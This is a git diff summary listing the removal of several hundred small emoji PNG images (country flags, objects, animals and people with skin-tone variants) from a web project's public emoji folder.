-rw-r--r--public/-/emojis/2/flag_tf.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tg.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_th.pngbin472 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tj.pngbin653 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tk.pngbin752 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tl.pngbin763 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tm.pngbin842 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tn.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_to.pngbin551 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tr.pngbin448 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tt.pngbin655 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tv.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tw.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_tz.pngbin650 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ua.pngbin494 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ug.pngbin586 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_um.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_us.pngbin636 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_uy.pngbin628 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_uz.pngbin510 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_va.pngbin825 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_vc.pngbin583 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ve.pngbin528 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_vg.pngbin905 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_vi.pngbin1007 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_vn.pngbin465 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_vu.pngbin520 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_wf.pngbin496 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ws.pngbin637 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_xk.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_ye.pngbin466 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_yt.pngbin1071 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_za.pngbin540 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_zm.pngbin511 -> 0 bytes
-rw-r--r--public/-/emojis/2/flag_zw.pngbin644 -> 0 bytes
-rw-r--r--public/-/emojis/2/flags.pngbin1268 -> 0 bytes
-rw-r--r--public/-/emojis/2/flashlight.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/fleur_de_lis.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/floppy_disk.pngbin403 -> 0 bytes
-rw-r--r--public/-/emojis/2/flower_playing_cards.pngbin583 -> 0 bytes
-rw-r--r--public/-/emojis/2/flushed.pngbin899 -> 0 bytes
-rw-r--r--public/-/emojis/2/flying_disc.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/flying_saucer.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/fog.pngbin337 -> 0 bytes
-rw-r--r--public/-/emojis/2/foggy.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot.pngbin459 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot_tone1.pngbin463 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot_tone2.pngbin512 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot_tone3.pngbin484 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot_tone4.pngbin460 -> 0 bytes
-rw-r--r--public/-/emojis/2/foot_tone5.pngbin443 -> 0 bytes
-rw-r--r--public/-/emojis/2/football.pngbin1068 -> 0 bytes
-rw-r--r--public/-/emojis/2/footprints.pngbin608 -> 0 bytes
-rw-r--r--public/-/emojis/2/fork_and_knife.pngbin524 -> 0 bytes
-rw-r--r--public/-/emojis/2/fork_knife_plate.pngbin644 -> 0 bytes
-rw-r--r--public/-/emojis/2/fortune_cookie.pngbin693 -> 0 bytes
-rw-r--r--public/-/emojis/2/fountain.pngbin944 -> 0 bytes
-rw-r--r--public/-/emojis/2/four.pngbin644 -> 0 bytes
-rw-r--r--public/-/emojis/2/four_leaf_clover.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/fox.pngbin1078 -> 0 bytes
-rw-r--r--public/-/emojis/2/frame_photo.pngbin561 -> 0 bytes
-rw-r--r--public/-/emojis/2/free.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/french_bread.pngbin549 -> 0 bytes
-rw-r--r--public/-/emojis/2/fried_shrimp.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/fries.pngbin1198 -> 0 bytes
-rw-r--r--public/-/emojis/2/frog.pngbin1018 -> 0 bytes
-rw-r--r--public/-/emojis/2/frowning.pngbin592 -> 0 bytes
-rw-r--r--public/-/emojis/2/frowning_face.pngbin669 -> 0 bytes
-rw-r--r--public/-/emojis/2/fuelpump.pngbin765 -> 0 bytes
-rw-r--r--public/-/emojis/2/full_moon.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/full_moon_with_face.pngbin1096 -> 0 bytes
-rw-r--r--public/-/emojis/2/game_die.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/gay_pride_flag.pngbin472 -> 0 bytes
-rw-r--r--public/-/emojis/2/gear.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/gem.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/gemini.pngbin687 -> 0 bytes
-rw-r--r--public/-/emojis/2/genie.pngbin1068 -> 0 bytes
-rw-r--r--public/-/emojis/2/ghost.pngbin991 -> 0 bytes
-rw-r--r--public/-/emojis/2/gift.pngbin761 -> 0 bytes
-rw-r--r--public/-/emojis/2/gift_heart.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/giraffe.pngbin909 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl.pngbin1010 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl_tone1.pngbin999 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl_tone2.pngbin986 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl_tone3.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl_tone4.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/girl_tone5.pngbin976 -> 0 bytes
-rw-r--r--public/-/emojis/2/globe_with_meridians.pngbin925 -> 0 bytes
-rw-r--r--public/-/emojis/2/gloves.pngbin755 -> 0 bytes
-rw-r--r--public/-/emojis/2/goal.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/goat.pngbin745 -> 0 bytes
-rw-r--r--public/-/emojis/2/goggles.pngbin585 -> 0 bytes
-rw-r--r--public/-/emojis/2/golf.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/golfing_man.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/gorilla.pngbin934 -> 0 bytes
-rw-r--r--public/-/emojis/2/grapes.pngbin914 -> 0 bytes
-rw-r--r--public/-/emojis/2/green_apple.pngbin797 -> 0 bytes
-rw-r--r--public/-/emojis/2/green_book.pngbin362 -> 0 bytes
-rw-r--r--public/-/emojis/2/green_heart.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/grey_exclamation.pngbin248 -> 0 bytes
-rw-r--r--public/-/emojis/2/grey_question.pngbin469 -> 0 bytes
-rw-r--r--public/-/emojis/2/grimacing.pngbin717 -> 0 bytes
-rw-r--r--public/-/emojis/2/grin.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/grinning.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman_tone1.pngbin631 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman_tone2.pngbin624 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman_tone3.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman_tone4.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/guardsman_tone5.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/guitar.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/gun.pngbin495 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut_tone1.pngbin1041 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut_tone2.pngbin1098 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut_tone3.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut_tone4.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/haircut_tone5.pngbin1008 -> 0 bytes
-rw-r--r--public/-/emojis/2/hamburger.pngbin1121 -> 0 bytes
-rw-r--r--public/-/emojis/2/hammer.pngbin531 -> 0 bytes
-rw-r--r--public/-/emojis/2/hammer_pick.pngbin836 -> 0 bytes
-rw-r--r--public/-/emojis/2/hamster.pngbin1150 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed_tone1.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed_tone2.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed_tone3.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed_tone4.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/hand_splayed_tone5.pngbin655 -> 0 bytes
-rw-r--r--public/-/emojis/2/handbag.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball_tone1.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball_tone2.pngbin971 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball_tone3.pngbin962 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball_tone4.pngbin896 -> 0 bytes
-rw-r--r--public/-/emojis/2/handball_tone5.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/handshake.pngbin638 -> 0 bytes
-rw-r--r--public/-/emojis/2/hash.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/hatched_chick.pngbin948 -> 0 bytes
-rw-r--r--public/-/emojis/2/hatching_chick.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/head_bandage.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/headphones.pngbin965 -> 0 bytes
-rw-r--r--public/-/emojis/2/hear_no_evil.pngbin1026 -> 0 bytes
-rw-r--r--public/-/emojis/2/heart.pngbin546 -> 0 bytes
-rw-r--r--public/-/emojis/2/heart_decoration.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/heart_eyes.pngbin929 -> 0 bytes
-rw-r--r--public/-/emojis/2/heart_eyes_cat.pngbin1071 -> 0 bytes
-rw-r--r--public/-/emojis/2/heartbeat.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/heartpulse.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/hearts.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_check_mark.pngbin457 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_division_sign.pngbin360 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_dollar_sign.pngbin527 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_heart_exclamation.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_minus_sign.pngbin195 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_multiplication_x.pngbin491 -> 0 bytes
-rw-r--r--public/-/emojis/2/heavy_plus_sign.pngbin297 -> 0 bytes
-rw-r--r--public/-/emojis/2/hedgehog.pngbin1133 -> 0 bytes
-rw-r--r--public/-/emojis/2/helicopter.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/helmet_with_cross.pngbin734 -> 0 bytes
-rw-r--r--public/-/emojis/2/herb.pngbin813 -> 0 bytes
-rw-r--r--public/-/emojis/2/hibiscus.pngbin979 -> 0 bytes
-rw-r--r--public/-/emojis/2/high_brightness.pngbin640 -> 0 bytes
-rw-r--r--public/-/emojis/2/high_heel.pngbin724 -> 0 bytes
-rw-r--r--public/-/emojis/2/hiking_boot.pngbin772 -> 0 bytes
-rw-r--r--public/-/emojis/2/hippopotamus.pngbin648 -> 0 bytes
-rw-r--r--public/-/emojis/2/hockey.pngbin586 -> 0 bytes
-rw-r--r--public/-/emojis/2/hole.pngbin534 -> 0 bytes
-rw-r--r--public/-/emojis/2/homes.pngbin810 -> 0 bytes
-rw-r--r--public/-/emojis/2/honey_pot.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse.pngbin881 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing.pngbin1242 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing_tone1.pngbin1264 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing_tone2.pngbin1198 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing_tone3.pngbin1208 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing_tone4.pngbin1206 -> 0 bytes
-rw-r--r--public/-/emojis/2/horse_racing_tone5.pngbin1274 -> 0 bytes
-rw-r--r--public/-/emojis/2/hospital.pngbin476 -> 0 bytes
-rw-r--r--public/-/emojis/2/hot_face.pngbin919 -> 0 bytes
-rw-r--r--public/-/emojis/2/hot_pepper.pngbin658 -> 0 bytes
-rw-r--r--public/-/emojis/2/hotdog.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/hotel.pngbin786 -> 0 bytes
-rw-r--r--public/-/emojis/2/hotsprings.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/hourglass.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/hourglass_flowing_sand.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/house.pngbin596 -> 0 bytes
-rw-r--r--public/-/emojis/2/house_abandoned.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/house_with_garden.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/hugging.pngbin986 -> 0 bytes
-rw-r--r--public/-/emojis/2/hushed.pngbin635 -> 0 bytes
-rw-r--r--public/-/emojis/2/ice_cream.pngbin975 -> 0 bytes
-rw-r--r--public/-/emojis/2/ice_skate.pngbin864 -> 0 bytes
-rw-r--r--public/-/emojis/2/icecream.pngbin628 -> 0 bytes
-rw-r--r--public/-/emojis/2/id.pngbin634 -> 0 bytes
-rw-r--r--public/-/emojis/2/ideograph_advantage.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/imp.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/inbox_tray.pngbin676 -> 0 bytes
-rw-r--r--public/-/emojis/2/incoming_envelope.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/infinity.pngbin447 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person.pngbin937 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person_tone1.pngbin841 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person_tone2.pngbin870 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person_tone3.pngbin813 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person_tone4.pngbin764 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_desk_person_tone5.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/information_source.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/innocent.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/interrobang.pngbin556 -> 0 bytes
-rw-r--r--public/-/emojis/2/iphone.pngbin899 -> 0 bytes
-rw-r--r--public/-/emojis/2/island.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/izakaya_lantern.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/jack_o_lantern.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/japanese_castle.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/japanese_goblin.pngbin1203 -> 0 bytes
-rw-r--r--public/-/emojis/2/japanese_ogre.pngbin1181 -> 0 bytes
-rw-r--r--public/-/emojis/2/jeans.pngbin541 -> 0 bytes
-rw-r--r--public/-/emojis/2/jigsaw.pngbin1048 -> 0 bytes
-rw-r--r--public/-/emojis/2/joy.pngbin1005 -> 0 bytes
-rw-r--r--public/-/emojis/2/joy_cat.pngbin1166 -> 0 bytes
-rw-r--r--public/-/emojis/2/joystick.pngbin744 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling.pngbin1168 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling_tone1.pngbin1133 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling_tone2.pngbin1105 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling_tone3.pngbin1129 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling_tone4.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/juggling_tone5.pngbin1043 -> 0 bytes
-rw-r--r--public/-/emojis/2/kaaba.pngbin606 -> 0 bytes
-rw-r--r--public/-/emojis/2/kangaroo.pngbin596 -> 0 bytes
-rw-r--r--public/-/emojis/2/key.pngbin516 -> 0 bytes
-rw-r--r--public/-/emojis/2/key2.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/keyboard.pngbin391 -> 0 bytes
-rw-r--r--public/-/emojis/2/kimono.pngbin734 -> 0 bytes
-rw-r--r--public/-/emojis/2/kiss.pngbin1120 -> 0 bytes
-rw-r--r--public/-/emojis/2/kiss_mm.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/kiss_woman_man.pngbin972 -> 0 bytes
-rw-r--r--public/-/emojis/2/kiss_ww.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/kissing.pngbin638 -> 0 bytes
-rw-r--r--public/-/emojis/2/kissing_cat.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/kissing_closed_eyes.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/kissing_heart.pngbin828 -> 0 bytes
-rw-r--r--public/-/emojis/2/kissing_smiling_eyes.pngbin669 -> 0 bytes
-rw-r--r--public/-/emojis/2/kiwi.pngbin1138 -> 0 bytes
-rw-r--r--public/-/emojis/2/knife.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/koala.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/koko.pngbin435 -> 0 bytes
-rw-r--r--public/-/emojis/2/lab_coat.pngbin820 -> 0 bytes
-rw-r--r--public/-/emojis/2/label.pngbin619 -> 0 bytes
-rw-r--r--public/-/emojis/2/lacrosse.pngbin719 -> 0 bytes
-rw-r--r--public/-/emojis/2/large_blue_diamond.pngbin464 -> 0 bytes
-rw-r--r--public/-/emojis/2/large_orange_diamond.pngbin296 -> 0 bytes
-rw-r--r--public/-/emojis/2/last_quarter_moon.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/last_quarter_moon_with_face.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/laughing.pngbin847 -> 0 bytes
-rw-r--r--public/-/emojis/2/leafy_green.pngbin967 -> 0 bytes
-rw-r--r--public/-/emojis/2/leaves.pngbin964 -> 0 bytes
-rw-r--r--public/-/emojis/2/ledger.pngbin486 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist.pngbin434 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist_tone1.pngbin426 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist_tone2.pngbin433 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist_tone3.pngbin422 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist_tone4.pngbin421 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_facing_fist_tone5.pngbin456 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_luggage.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/left_right_arrow.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/leftwards_arrow_with_hook.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg.pngbin422 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg_tone1.pngbin466 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg_tone2.pngbin429 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg_tone3.pngbin467 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg_tone4.pngbin411 -> 0 bytes
-rw-r--r--public/-/emojis/2/leg_tone5.pngbin411 -> 0 bytes
-rw-r--r--public/-/emojis/2/lemon.pngbin963 -> 0 bytes
-rw-r--r--public/-/emojis/2/leo.pngbin681 -> 0 bytes
-rw-r--r--public/-/emojis/2/leopard.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/level_slider.pngbin486 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate.pngbin601 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate_tone1.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate_tone2.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate_tone3.pngbin569 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate_tone4.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/levitate_tone5.pngbin552 -> 0 bytes
-rw-r--r--public/-/emojis/2/libra.pngbin673 -> 0 bytes
-rw-r--r--public/-/emojis/2/lifter_tone1.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/lifter_tone2.pngbin764 -> 0 bytes
-rw-r--r--public/-/emojis/2/lifter_tone3.pngbin756 -> 0 bytes
-rw-r--r--public/-/emojis/2/lifter_tone4.pngbin749 -> 0 bytes
-rw-r--r--public/-/emojis/2/lifter_tone5.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/light_rail.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/link.pngbin761 -> 0 bytes
-rw-r--r--public/-/emojis/2/lion_face.pngbin1179 -> 0 bytes
-rw-r--r--public/-/emojis/2/lips.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/lipstick.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/lizard.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/llama.pngbin760 -> 0 bytes
-rw-r--r--public/-/emojis/2/lobster.pngbin886 -> 0 bytes
-rw-r--r--public/-/emojis/2/lock.pngbin489 -> 0 bytes
-rw-r--r--public/-/emojis/2/lock_with_ink_pen.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/lollipop.pngbin1377 -> 0 bytes
-rw-r--r--public/-/emojis/2/loop.pngbin666 -> 0 bytes
-rw-r--r--public/-/emojis/2/loud_sound.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/loudspeaker.pngbin1013 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_hotel.pngbin544 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_letter.pngbin294 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture.pngbin539 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture_tone1.pngbin619 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture_tone2.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture_tone3.pngbin549 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture_tone4.pngbin554 -> 0 bytes
-rw-r--r--public/-/emojis/2/love_you_gesture_tone5.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/low_brightness.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/luggage.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/lying_face.pngbin793 -> 0 bytes
-rw-r--r--public/-/emojis/2/m.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/mag.pngbin826 -> 0 bytes
-rw-r--r--public/-/emojis/2/mag_right.pngbin724 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage.pngbin1095 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage_tone1.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage_tone2.pngbin1062 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage_tone3.pngbin1044 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage_tone4.pngbin1061 -> 0 bytes
-rw-r--r--public/-/emojis/2/mage_tone5.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/magnet.pngbin657 -> 0 bytes
-rw-r--r--public/-/emojis/2/mahjong.pngbin613 -> 0 bytes
-rw-r--r--public/-/emojis/2/mailbox.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/mailbox_closed.pngbin693 -> 0 bytes
-rw-r--r--public/-/emojis/2/mailbox_with_mail.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/mailbox_with_no_mail.pngbin721 -> 0 bytes
-rw-r--r--public/-/emojis/2/male_detective.pngbin1100 -> 0 bytes
-rw-r--r--public/-/emojis/2/male_sign.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/man.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist.pngbin1070 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist_tone1.pngbin1059 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist_tone2.pngbin1078 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist_tone3.pngbin1020 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist_tone4.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_artist_tone5.pngbin1046 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut.pngbin1195 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut_tone1.pngbin1282 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut_tone2.pngbin1272 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut_tone3.pngbin1307 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut_tone4.pngbin1312 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_astronaut_tone5.pngbin1144 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald.pngbin687 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald_tone1.pngbin725 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald_tone2.pngbin647 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald_tone3.pngbin700 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald_tone4.pngbin685 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bald_tone5.pngbin668 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking.pngbin1246 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking_tone1.pngbin1265 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking_tone2.pngbin1244 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking_tone3.pngbin1184 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking_tone4.pngbin1198 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_biking_tone5.pngbin1176 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball_tone1.pngbin1116 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball_tone2.pngbin1056 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball_tone3.pngbin996 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball_tone4.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bouncing_ball_tone5.pngbin1013 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing.pngbin934 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing_tone1.pngbin944 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing_tone2.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing_tone3.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing_tone4.pngbin778 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_bowing_tone5.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling.pngbin763 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling_tone1.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling_tone2.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling_tone3.pngbin720 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling_tone4.pngbin653 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_cartwheeling_tone5.pngbin686 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_climbing.pngbin1111 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_climbing_tone1.pngbin1096 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_climbing_tone2.pngbin1033 -> 0 bytes
-rw-r--r--public/-/emojis/2/man_climbing_tone3.pngbin969 -> 0 bytes
